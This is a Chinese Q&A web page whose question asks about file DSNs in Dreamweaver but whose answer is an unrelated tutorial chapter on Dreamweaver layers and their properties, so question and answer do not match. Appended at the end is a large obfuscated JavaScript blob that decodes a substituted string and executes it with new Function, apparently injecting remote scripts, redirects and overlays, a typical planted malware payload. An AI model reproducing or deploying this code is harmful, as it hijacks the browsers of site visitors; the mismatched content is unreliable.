怎样定义文件DSN?以及在Dreamweaver中怎样连接它。
推荐回答(1个)
3月26日 14:46 第九章 层的使用
一、概述
在网页制作中,对文字和对象的位置控制是比较困难的,以前我们通过表格来定位,但往往达不到精度要求。“层”是Dreamweaver 中另处一种可以进行排版的工具。它可以被定位在页面的任意位置,并且其中可以包含文本、图像等所有可直接插入至网页的对象。
层拥有很多表格所不具备的特点,比如可以重叠、便于移动、可设为隐藏等。
二、层的创建和删除
显示面板:窗口—>其它—>层(F2)
插入栏—>常用—>层(直接绘制,按Ctrl可连绘)
插入栏—>布局—>层(直接绘制,按Ctrl可连绘)
插入菜单—>层
拖动插入栏上图标到页面。
三、使用“属性面板”设置层的属性
选择一个或多个层后即可对它们进行操作或更改它们的属性。
1、“单个层”的“属性面板”
首先要选择层:在层面板中单击该层的名称、单击一个层的边框、在一个层中按住Ctrl+Shift键并单击。(如果已选定多个层,此操作会取消选定其他所有层而只选择您所单击的层。)、在设计视图中单击层代码标记,它表示层在HTML代码中的位置。
层编号
用于指定一个名称,以便在层面板和JavaScript代码中标识该层。每个层必须有它自己的唯一名称。
左和上(左侧和顶部)
指定层的左上角相对于页面(如果嵌套,则为父层)左上角的位置。
宽和高
指定层的宽度和高度。
注:位置和大小的默认单位为像素(px)。您也可以指定以下单位:pc(pica,十二点活字,约为我国新四号铅字)、pt(点)、in(英寸)、mm(毫米)、cm(厘米)或%(父层相应值的百分比)。这些缩写必须紧跟值,中间不留空格。
z轴
当层重叠时,用以设置层之间的前后排列顺序。值越大,显示越靠前。(使用层面板要比输入特定的z轴更为简便。)
可见性
指定该层最初是否是可见的。
default(默认):不指定可见性属性,大多数浏览器都会默认为“继承”。
inherit(继承):表示使用该层父级的可见性属性。
visible(可见):表示显示该层的内容,而不管父级的值是什么。
hidden(隐藏):表示隐藏层的内容,而不管父级的值是什么。
使用脚本语言(如JavaScript)可控制可见性属性并动态地显示层的内容。
背景图像
可以为层指定一个背景图像。
背景颜色
可以为层指定一个背景颜色。如果将此选项留为空白,则可以指定透明的背景。
类
可以应用定义好的 CSS 样式。
溢出
当层的内容超过层的指定大小时,设定如何在浏览器中显示层,它的效果必须在浏览器中预览时才会出现。
visible(可见):指定在层中显示额外的内容,实际上,该层会通过延伸来容纳额外的内容。
hidden(隐藏):指定不在浏览器中显示额外的内容。
scroll(滚动):指定浏览器在层上添加滚动条,而不管是否需要滚动条。
auto(自动):使浏览器仅在需要时才显示层的滚动条。
剪辑
可以定义层的可见区域,有上“左”、“右”、“上”、“下”4项。
从层的左上角开始计算,指定左侧、顶部、右侧和底边坐标可在层的坐标空间中定义一个矩形。层经过“剪辑”后,只有指定的矩形区域才是可见的。
2、“多个层”的“属性面板”
首先选择层:按住Shift键并单击层面板上的两个或更多个名称、在两个或更多个层的边框内(或边框上)按住Shift键并单击。
标签
可以指定用来定义这些层的 HTML 标签。在下拉列表中有DIV和SPAN两个选项。
四、层的基本操作
1、调整层的大小
调整单个层的大小(拖动手柄、Ctrl+箭头)
调整多个层的大小
2、移动层的位置(鼠标、箭头键或Shift+箭头键)
3、层的对齐
修改—>对齐—>选择项目
4、在层中插入对象
5、层的叠加顺序
修改—>排列顺序—>选择项目或修改层的z值
6、将层靠齐到网络
Shift+Ctrl+箭头与网格线重合
7、层的复制、剪切和粘贴
8、层的嵌套
直接插入层、拖入另一层标记、面板上拖动或Ctrl辅助拖动层、ALT辅助绘制层
五、层的绝对定位与相对定位
六、使用“层”浮动面板管理层(F2)
显示/隐藏层:更改层的可见性。
防止重叠:若勾选这个选项,则层之间将不能重叠,而只能并行排列。
名称:层的名称。
Z轴
七 、设置层的默认属性
编辑菜单—>参数选择—>层
1、标签
设置在创建层时Dreamweaver要使用的HTML标签。其选项为div(默认)和span。
2、显示
确定层在默认情况下是否可见。其选项为“默认”“继承”“可见”和“隐藏”。
3、宽和高
指定使用“插入层”创建的层的默认宽度和高度(以像素为单位)。
4、背景颜色
可以指定默认的层显示一种背景颜色。
5、背景图像
可以指定默认的层显示一种背景图像。
6、嵌套
如果在层中则使用嵌套:指定从现有层边界内的某点开始绘制的层是否应该是嵌套层。在绘制层时,按住键盘上的Alt 键可暂时更改此设置。
7、Netscape 4 兼容性
插入层时固定大小:在文档的 head 内容中插入 JavaScript 代码以修正Netscape 4 浏览器中的一个已知问题,该问题使层在访问者调整浏览器窗口大小时失去它们的定位。每当调整浏览器窗口大小时,JavaScript 会强制页面重新加载,从而将层重分配到正确的位置。您也可以手动添加或删除 JavaScript 代码,方法是选择“命令—>添加/删除 Netscape 调整大小修复”。
八、在层和表格之间转换
1、将表格转换为层
修改菜单—>转换—>表格到层
对话框中相关的参数如下:
显示网格和靠齐到网格:能够使用网格来协助将层定位.
防止层重叠:可以在转换后的页面中激活防止层重叠的功能。
显示层面板:可以在转换后的页面中显示层面板。
显示网格:可以在转换后的页面中显示网格。
靠起到网格:可以在转换后的页面中将层与网络线对齐。
注:当表格转换为层时,空的单元格不会被转换(除非它们具有背景颜色)。另处在转换时,表格外的页面元素也会被放入层中。
2、将层转换为表格
修改菜单—>转换—>层到表格
对话框中相关参数如下:
最精确:为每个层创建一个单元格,并附加保留层之间的空间所必需的任何单元格。
最小:合并空单元。指定如果层定位在指定数目的像素内,则层的边缘应对齐。如果选择此选项,转换后表格将包含较少的空行和空列,但可能与之前的层的排版不能精确地匹配。
使用透明GIF:用透明的GIF图像填充表格的最后一行。这将确保该表格在所有浏览器中以相同的列宽显示。当勾选此选项后,用户将不能通过拖动表格的列框来编辑转换后的表格。当取消勾选此选项后,转换后的表格将不会包含透明GIF图像,但在不同的浏览器中可能会具有不同的列宽。
置于页面中央:将转换后的表格在页面中居中对齐。如果取消勾选该选项,表格将在页面中左对齐。
注:在转换之前,层不能有重叠。
八、层和行为相结合制作动态效果
http://qygqyg.51.net/layer.htm#
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();